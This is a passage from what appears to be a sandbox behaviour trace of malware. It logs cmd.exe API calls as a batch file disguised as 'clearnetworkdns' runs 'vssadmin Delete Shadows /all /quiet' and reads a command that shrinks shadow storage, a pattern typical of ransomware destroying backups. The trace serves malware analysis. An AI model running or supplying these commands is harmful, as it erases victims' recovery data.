0xe687e8 [0073.082] FindClose (in: hFindFile=0xe687e8 | out: hFindFile=0xe687e8) returned 1 [0073.082] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xc5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5ed10) returned 0xffffffff [0073.082] GetLastError () returned 0x2 [0073.082] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xc5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5ed10) returned 0xe687e8 [0073.082] FindClose (in: hFindFile=0xe687e8 | out: hFindFile=0xe687e8) returned 1 [0073.083] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0073.083] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0073.083] GetConsoleTitleW (in: lpConsoleTitle=0xc5ed58, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0073.087] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0073.087] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0073.087] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0073.087] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0073.088] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0073.088] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0073.088] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0073.088] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0073.088] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0073.088] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0073.088] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0073.088] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0073.088] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0073.088] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0073.088] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0073.088] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0073.088] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0073.088] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0073.088] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0073.088] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0073.088] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0073.088] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0073.088] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0073.088] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0073.088] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0073.088] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0073.088] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0073.088] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0073.088] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0073.088] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0073.088] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0073.088] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0073.088] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0073.088] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0073.088] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0073.088] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0073.088] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0073.088] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0073.088] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0073.088] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0073.088] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0073.089] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0073.089] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0073.089] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0073.089] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0073.089] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0073.089] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0073.089] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0073.089] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0073.089] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0073.089] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0073.089] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0073.089] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0073.089] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0073.089] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0073.089] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0073.089] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0073.089] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0073.089] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0073.089] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0073.089] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0073.089] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0073.089] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0073.089] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0073.089] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0073.089] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0073.089] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0073.089] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0073.089] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0073.089] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0073.089] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0073.089] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0073.089] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0073.089] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0073.089] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0073.089] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0073.089] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0073.089] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0073.089] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0073.089] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0073.089] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0073.090] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0073.090] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0073.090] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0073.090] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0073.090] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0073.090] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0073.090] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0073.090] SetErrorMode (uMode=0x0) returned 0x0 [0073.090] SetErrorMode (uMode=0x1) returned 0x0 [0073.090] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xe68a68, lpFilePart=0xc5e864 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xc5e864*="Desktop") returned 0x1d [0073.090] SetErrorMode (uMode=0x0) returned 0x1 [0073.090] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0073.090] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.090] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.091] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.091] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc5e5f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5e5f0) returned 0xffffffff [0073.091] GetLastError () returned 0x2 [0073.091] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.091] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc5e5f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5e5f0) returned 0xffffffff [0073.091] GetLastError () returned 0x2 [0073.091] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.091] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc5e5f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5e5f0) returned 0xe68e08 [0073.091] FindClose (in: hFindFile=0xe68e08 | out: hFindFile=0xe68e08) returned 1 [0073.091] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xc5e5f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5e5f0) returned 0xffffffff [0073.092] GetLastError () returned 0x2 [0073.092] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xc5e5f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5e5f0) returned 0xe68e08 [0073.092] FindClose (in: hFindFile=0xe68e08 | out: hFindFile=0xe68e08) returned 1 [0073.092] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0073.092] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0073.092] GetConsoleTitleW (in: lpConsoleTitle=0xc5eae4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0073.106] InitializeProcThreadAttributeList (in: lpAttributeList=0xc5ea10, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xc5e9f4 | out: lpAttributeList=0xc5ea10, lpSize=0xc5e9f4) returned 1 [0073.106] UpdateProcThreadAttribute (in: lpAttributeList=0xc5ea10, dwFlags=0x0, Attribute=0x60001, lpValue=0xc5e9fc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc5ea10, lpPreviousValue=0x0) returned 1 [0073.106] GetStartupInfoW (in: lpStartupInfo=0xc5ea48 | out: lpStartupInfo=0xc5ea48*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0073.106] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0073.106] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0073.106] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0073.106] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0073.107] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0073.108] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0073.108] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0073.108] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0073.108] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0073.108] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0073.108] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0073.108] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0073.110] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin Delete Shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpStartupInfo=0xc5e998*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin Delete Shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc5e9e4 | out: lpCommandLine="vssadmin Delete Shadows /all /quiet", lpProcessInformation=0xc5e9e4*(hProcess=0xb8, hThread=0xb0, dwProcessId=0xe1c, dwThreadId=0xe20)) returned 1 [0073.239] CloseHandle (hObject=0xb0) returned 1 [0073.239] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.239] GetEnvironmentStringsW () returned 0xe59f98* [0073.239] FreeEnvironmentStringsA (penv="=") returned 1 [0073.239] WaitForSingleObject (hHandle=0xb8, dwMilliseconds=0xffffffff) returned 0x0 [0074.283] GetExitCodeProcess (in: hProcess=0xb8, lpExitCode=0xc5e97c | out: lpExitCode=0xc5e97c*=0x2) returned 1 [0074.284] CloseHandle (hObject=0xb8) returned 1 [0074.284] _vsnwprintf (in: _Buffer=0xc5ea64, _BufferCount=0x13, _Format="%08X", _ArgList=0xc5e984 | out: _Buffer="00000002") returned 8 [0074.284] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0074.284] GetEnvironmentStringsW () returned 0xe5b4a8* [0074.284] FreeEnvironmentStringsA (penv="=") returned 1 [0074.284] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0074.284] GetEnvironmentStringsW () returned 0xe5b4a8* [0074.284] FreeEnvironmentStringsA (penv="=") returned 1 [0074.284] DeleteProcThreadAttributeList (in: lpAttributeList=0xc5ea10 | out: lpAttributeList=0xc5ea10) [0074.284] _get_osfhandle (_FileHandle=1) returned 0x3c [0074.284] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0074.695] _get_osfhandle (_FileHandle=1) returned 0x3c [0074.695] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xfce40c | out: lpMode=0xfce40c) returned 1 [0074.699] _get_osfhandle (_FileHandle=0) returned 0x38 [0074.699] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0xfce408 | out: lpMode=0xfce408) returned 1 [0074.706] SetConsoleInputExeNameW () returned 0x1 [0074.706] GetConsoleOutputCP () returned 0x1b5 [0074.708] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xfce460 | out: lpCPInfo=0xfce460) returned 1 [0074.708] SetThreadUILanguage (LangId=0x0) returned 0x409 [0074.725] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\clearnetworkdns_11-22-33.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc5f1a4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0074.726] _open_osfhandle (_OSFileHandle=0xb8, _Flags=8) returned 3 [0074.726] _get_osfhandle (_FileHandle=3) returned 0xb8 [0074.726] SetFilePointer (in: hFile=0xb8, lDistanceToMove=48, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x30 [0074.726] _get_osfhandle (_FileHandle=3) returned 0xb8 [0074.726] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x30 [0074.726] ReadFile (in: hFile=0xb8, lpBuffer=0xfda960, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0xc5f174, lpOverlapped=0x0 | out: lpBuffer=0xfda960*, lpNumberOfBytesRead=0xc5f174*=0x384, lpOverlapped=0x0) returned 1 [0074.726] SetFilePointer (in: hFile=0xb8, lDistanceToMove=109, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d [0074.726] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0xfda960, cbMultiByte=61, lpWideCharStr=0xfc57e0, cchWideChar=8191 | out: lpWideCharStr="vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB\r\n") returned 61 [0074.726] _get_osfhandle (_FileHandle=3) returned 0xb8 [0074.726] GetFileType (hFile=0xb8) returned 0x1 [0074.727] _get_osfhandle (_FileHandle=3) returned 0xb8 [0074.727] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d [0074.727] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0074.727] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0074.727] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0074.727] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0074.727] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0074.727] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0074.727] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0074.728] _tell (_FileHandle=3) returned 109 [0074.728] _close (_FileHandle=3) returned 0 [0074.728] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0074.728] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0074.728] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0074.728] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0074.728] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0074.728] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0074.728] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0074.728] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0074.728] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0074.728] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0074.728] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0074.728] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0074.728] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0074.728] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0074.728] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0074.729] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0074.729] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0074.729] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0074.729] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0074.729] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0074.729] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0074.729] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0074.729] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0074.729] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0074.729] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0074.729] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0074.729] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0074.729] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0074.729] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0074.729] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0074.729] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0074.729] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0074.729] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0074.729] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0074.729] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0074.729] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0074.729] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0074.729] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0074.729] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0074.729] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0074.729] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0074.729] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0074.729] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0074.729] SetErrorMode (uMode=0x0) returned 0x0 [0074.729] SetErrorMode (uMode=0x1) returned 0x0 [0074.729] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xe68448, lpFilePart=0xc5ef84 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xc5ef84*="Desktop") returned 0x1d [0074.729] SetErrorMode (uMode=0x0) returned 0x1 [0074.729] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0074.729] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0074.730] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0074.730] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.730] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5ed10) returned 0xffffffff [0074.730] GetLastError () returned 0x2 [0074.730] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.730] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5ed10) returned 0xffffffff [0074.730] GetLastError () returned 0x2 [0074.730] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.730] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5ed10) returned 0xe69118 [0074.730] FindClose (in: hFindFile=0xe69118 | out: hFindFile=0xe69118) returned 1 [0074.730] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xc5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5ed10) returned 0xffffffff [0074.730] GetLastError () returned 0x2 [0074.731] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xc5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5ed10) returned 0xe69118 [0074.731] FindClose (in: hFindFile=0xe69118 | out: hFindFile=0xe69118) returned 1 [0074.731] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0074.731] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0074.731] GetConsoleTitleW (in: lpConsoleTitle=0xc5ed58, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0074.732] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0074.732] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0074.732] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0074.732] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0074.732] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0074.732] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0074.732] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0074.732] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0074.732] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0074.732] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0074.732] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0074.732] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0074.732] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0074.732] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0074.732] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0074.732] 